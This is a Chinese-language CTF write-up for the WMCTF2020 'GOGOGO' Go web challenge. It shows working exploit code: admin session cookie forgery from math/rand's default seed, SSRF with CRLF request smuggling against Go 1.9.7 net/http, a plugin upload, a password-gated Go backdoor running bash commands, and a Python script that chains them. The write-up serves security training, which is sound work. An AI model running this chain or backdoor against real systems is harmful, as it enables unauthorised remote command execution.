WMCTF2020 – GOGOGO WriteUp

/ 0评 / 0

0x00 前言

一道go Web CTF赛题分析(获取管理员权限为非预期解)
赛题来源: WMCTF2020
赛题环境下载: https://mega.nz/file/YIQxVKqA#eaGTWA6yqq_PGj9I5T3dLbbHCOkI6p1a8ArwlKDp6Ws

0x01 题目逻辑分析

  1. main函数初始化了数据库以及调用loadPulgin载入plugin,同时声明了相关的路由。
  2. handler中定义了路由处理的方法,包括登录注册等等。
  3. utils中定义了一些函数,hash,随机数生成以及用户权限控制等。
  4. admin_handler中,引入了Plugin库,并且可以上传自己的plugin载入。

思路构造

  1. 得到管理员权限
  2. 绕过本地ip限制
  3. 上传自己编写的恶意plugin
  4. 执行plugin中的函数,getshell。

0x02 伪随机数漏洞

该题中使用go的Math/rand包 生成16位的伪随机数作为Cookie的key。

func randomChar(l int) []byte {
    output := make([]byte, l)
    rand.Read(output)
    return output
}
......
storage := cookie.NewStore(randomChar(16))
    r.Use(sessions.Sessions("o", storage))

从官方文档中可以看到,当使用math/rand且并未调用Seed 函数时,默认随机数种子为1。
并且看adminRequired函数

func adminRequired() gin.HandlerFunc {
    return func(c *gin.Context) {
        s := sessions.Default(c)
        if s.Get("uname") == nil {
            c.Redirect(302, "/auth/login")
            c.Abort()
            return
        }


        if s.Get("uname").(string) != "admin" {
            c.String(200, "No")
            c.Abort()
        }
        c.Next()
    }
}

判断是否为管理员的方法是从session中取出uname键是否等于"admin",因此我们可以考虑伪造Cookie,将Cookie中的uname改为admin,从而取得管理员权限。

0x03 伪造Cookie

通过上面的分析我们知道,题目环境的随机数种子为1,且题目中只调用一次rand.Read,因此我们只要在本地调用该方法生成相应的随机数,并且使用gin框架的session,生成一个uname为admin的Cookie 即可。
exp如下:

// 伪造 cookie
package main
import (
    "github.com/gin-contrib/sessions"
    "github.com/gin-contrib/sessions/cookie"
    "github.com/gin-gonic/gin"
    "math/rand"
)
func main() {
    r := gin.Default()
    storage := cookie.NewStore(randomChar(16))
    r.Use(sessions.Sessions("o", storage))
    r.GET("/a",cookieHandler)
    r.Run("0.0.0.0:8002")
}
func cookieHandler(c *gin.Context){
    s := sessions.Default(c)
    s.Set("uname", "admin")
    s.Save()
}
func randomChar(l int) []byte {
    output := make([]byte, l)
    rand.Read(output)
    return output
}

访问 http://localhost:8002/a 拿到Cookie

o=MTU5NjM3MTY0MnxEdi1CQkFFQ180SUFBUkFCRUFBQUpQLUNBQUVHYzNSeWFXNW5EQWNBQlhWdVlXMWxCbk4wY21sdVp3d0hBQVZoWkcxcGJnPT188jOx2R2JGZyq_46KCoFaijFAMQBa5BqQNC3jCBB40uE=

带上Cookie访问,成功获取管理员权限。

0x04 SSRF + 任意文件读取

查看源码发现,admin_handler中加载的base.so文件,存在两个方法

1. func Req(string) ([]byte, error)  // http request
2. func Read(string) ([]byte, error) // read file

通过注释,可以知道Req方法用于发送http请求,Read方法则是用于读取文件。
因此该处存在SSRF和任意文件读取漏洞
通过SSRF漏洞,我们能够绕过上传功能对于ip来源的限制
42632385.png
但是调用上传函数的是POST路由,因此我们要想办法利用SSRF发送POST请求。

0x05 go version <=1.11 net/http CRLF漏洞

参考github issue https://github.com/go/go/issues/30794
低版本go net/http 库存在CRLF漏洞,攻击者能够通过该漏洞构造任意的HTTP请求。
通过任意文件读取漏洞,我们可以尝试读取 /proc/self/environ
42942644.png
发现后端go使用的是 1.9.7版本,因此存在CRLF漏洞
由于插件中的Req方法能够造成SSRF,且能够访问任意站点,因此猜测base.so中使用了 net/http库发送GET请求,参数为arg
构造CRLF Payload
48367902.png

在VPS上起一个web服务器,接受来自目标机子的请求,可以发现,成功的发送了POST请求。
至此,成功的绕过了IP来源的限制,调用 uploadPluginHandler
分析上传逻辑:

  1. 上传文件的大小不得超过10M。
  2. 上传的文件需要十六进制编码。
  3. 文件名需要通过isValid校验。

因此我们可以构造一个文件上传的请求,参数为plugin

POST /admin/upload HTTP/1.1
Host: 127.0.0.1:9000
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: o=MTU5NjM3MTY0MnxEdi1CQkFFQ180SUFBUkFCRUFBQUpQLUNBQUVHYzNSeWFXNW5EQWNBQlhWdVlXMWxCbk4wY21sdVp3d0hBQVZoWkcxcGJnPT188jOx2R2JGZyq_46KCoFaijFAMQBa5BqQNC3jCBB40uE=
Content-Length: 8306529
Content-Type: multipart/form-data; boundary=b535041726096e1f0947869d1c0c073b


--b535041726096e1f0947869d1c0c073b
Content-Disposition: form-data; name="plugin"; filename="base.so"


74686973206973206120746573742066696c65
--b535041726096e1f0947869d1c0c073b--

可以发现成功的上传文件,覆盖了原有的 base.so
54751474.png
且由于base.so中的内容无意义,导致500
54824476.png
出现500则表明上传已经成功。

0x06 编写编译 base.so

使用 go 1.9.7版本编译base.so,其文件内容如下:
我们需要写一个go的后门,能够任意执行我们的命令: 为了不被别人骑马上马,设置了一个密码

package main
import (
   "os/exec"
)
func Read(arg string) ([]byte, error) {
   auth := arg[:7]
   cmd := arg[7:]
   if auth == "funnygo" {
       c := exec.Command("bash", "-c", cmd)
       output, err := c.CombinedOutput()
       //恢复
       re := exec.Command("bash", "-c", "cp /tmp/base.so plugins/base.so")
       re.Run()
       if err != nil {
           return nil, err
       } 
       return output, nil
   }
   return nil, nil
}
func Req(arg string) ([]byte, error){
   return nil, nil
}

编译一份linux下的.so文件:

go build -o base.so -buildmode=plugin  plugin.go
55151113.png

使用python对base.so二进制文件进行十六进制编码:

import sys


if __name__ == '__main__':
   arg = sys.argv[:]


   with open(arg[1], 'rb') as fd:
       s = fd.read()
       sys.stdout.write(s.hex())
python3 hex.py base.so > base.hex

0x07 上传.so 插件

由于.so二进制文件编码后很大,因此使用python脚本进行构造payload并上传

from requests import Session


s = Session()
headers = {
    'Cookie': 'o=MTU5NjM3MTY0MnxEdi1CQkFFQ180SUFBUkFCRUFBQUpQLUNBQUVHYzNSeWFXNW5EQWNBQlhWdVlXMWxCbk4wY21sdVp3d0hBQVZoWkcxcGJnPT188jOx2R2JGZyq_46KCoFaijFAMQBa5BqQNC3jCBB40uE='
}


def upload(url):
    with open('poc1', 'rb') as fd:
        arg = fd.read()
    data = {
        'fn': 'Req',
        'arg': b"http://127.0.0.1/?a=1 HTTP/1.1\r\nX-injected: header\r\nHost: 127.0.0.1\r\n\r\n"+arg
    }


    r = s.post(url, headers=headers, data=data)
    return r


def run_cmd(url, cmd):
    cmd = 'funnygo' + cmd


    data = {
        'fn': 'Read',
        'arg': cmd
    }


    r = s.post(url, headers=headers, data=data)
    return r


def get_upload_req(filename):
    url = 'http://127.0.0.1/admin/upload'
    files = {
        'plugin': open(filename, 'r')
    }


    r = s.post(url, files=files, headers=headers)
    return r


url = 'http://10.211.55.4/admin/invoke'


r = upload(url)
print(r.text)
print(r.status_code)


r = run_cmd(url, 'whoami')
print(r.status_code)
print(r.text)

poc1中的内容则是CSRF需要发送的POST请求
59683564.png
同时发现后端base.so文件已经被成功覆盖
59728321.png
且已经成功执行命令 whoami
59755001.png

0x08 总结

go语言虽说十分安全,但是在程序员编写不当的情况下,依然会出现安全问题,例如这道CTF题,利用多个漏洞组合成功拿下系统的shell。并且这道题利用go写入"webshell",虽然利用条件苛刻,但给了静态编译型语言作为web后端写入shell的一个思路。

发表评论

您的电子邮箱地址不会被公开。 必填项已用*标注